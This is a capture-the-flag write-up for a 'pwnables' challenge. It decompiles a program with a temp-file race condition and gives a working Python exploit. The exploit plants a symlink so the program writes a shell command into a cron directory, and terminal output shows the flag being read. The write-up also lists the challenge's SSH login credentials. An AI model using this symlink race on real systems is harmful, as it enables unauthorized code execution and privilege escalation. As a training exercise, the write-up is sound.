Category: pwnables
Get access to the key using /opt/pctf/z1/exploitme.
ssh username@a5.amalgamated.biz
Username: z1_1
Password: GwB4eivw9NTvCjmobw1EnuyqcWfJs
Summary: race condition, create a symlink before the file is opened
Let’s look at programs code:
int main(int argc, char *argv[]) { _cyg_profile_func_enter((unsigned int)main); if ( argc <= 1 ) { fprintf(stderr, "%s requires one argument!\n", *(_DWORD *)a2); exit(1); } write_and_unlink(get_temp("/tmp"), argv[1]); return _cyg_profile_func_exit(main, v5); } char * get_temp() { _cyg_profile_func_enter((unsigned int)get_temp); char * fname = tempnam("/tmp", "chal_"); if ( stat(fname, &v2) >= 0 ) { fwrite_unlocked("Temporary file exists!\n", 1, 23, stderr); exit(1); } fprintf(stderr, "Temporary file is %s.\n", fname); _cyg_profile_func_exit(get_temp, v4); return fname; } char * tempnam(char * path, char * prefix) { ... // some messy code here strncat(&v12, "XXXXXX", v5 + 1025); if ( mkstemp(&v12) < 0 ) { result = 0; } else { close(v8); unlink(&v12); result = strdup(&v12); } } int write_and_unlink(char * fname, char * str) { _cyg_profile_func_enter((unsigned int)write_and_unlink); FILE * fd = fopen_unlocked(fname, "w"); fputs_unlocked(str, fd); fclose_unlocked(fd); unlink(fname); return _cyg_profile_func_exit(write_and_unlink, v4); }
Well, briefly it is:
- generate random temp name
- open the file, close and remove it
- print filename
- again, open the file, write argv[1], close and remove it
Looks like we can read the filename and make a symlink before the opening, so the second open/write will print our text to an arbintrary file. What is the profit? Eventually you can find a level’s README:
z1_1@a5:/tmp/.mastaa$ ls /opt/pctf/z1key/ cron.d key README z1_1@a5:/tmp/.mastaa$ cat /opt/pctf/z1key/README All scripts in cron.d will be executed, then deleted once a minute. A script's filename ends with `.sh`.
So, our goal is to write some code to /opt/pctf/z1key/cron.d/. Let’s do it:
#!/usr/bin/env python #-*- coding:utf-8 -*- import os, sys, time from subprocess import Popen, PIPE KEY_FILE = "/tmp/.mastaa/PWNED" DATA = "cat /opt/pctf/z1key/key >" + KEY_FILE while True: p = Popen(["/opt/pctf/z1/exploitme", DATA], stderr=PIPE, stdout=PIPE) s = p.stderr.read(34) fname = s[len("Temporary file is "):] cron_name = "/opt/pctf/z1key/cron.d/mastaa.sh" for i in range(2048): try: os.symlink(cron_name, fname) except: pass if os.path.isfile(KEY_FILE): time.sleep(1) print "\nPWNED:", open(KEY_FILE).read() break sys.stdout.write(".") sys.stdout.flush()
z1_1@a5:/tmp/.mastaa$ python explot.py ....................................................... ....................................................... ....................................................... ....................................................... ....................................................... ....................................................... ......................... PWNED: This is the key: FUCKALLOFYOU
Actually, it’s stable and there’s no need for doing it in a while loop. Just wait 1 minute until the script is executed.
The flag: FUCKALLOFYOU
so impolite :/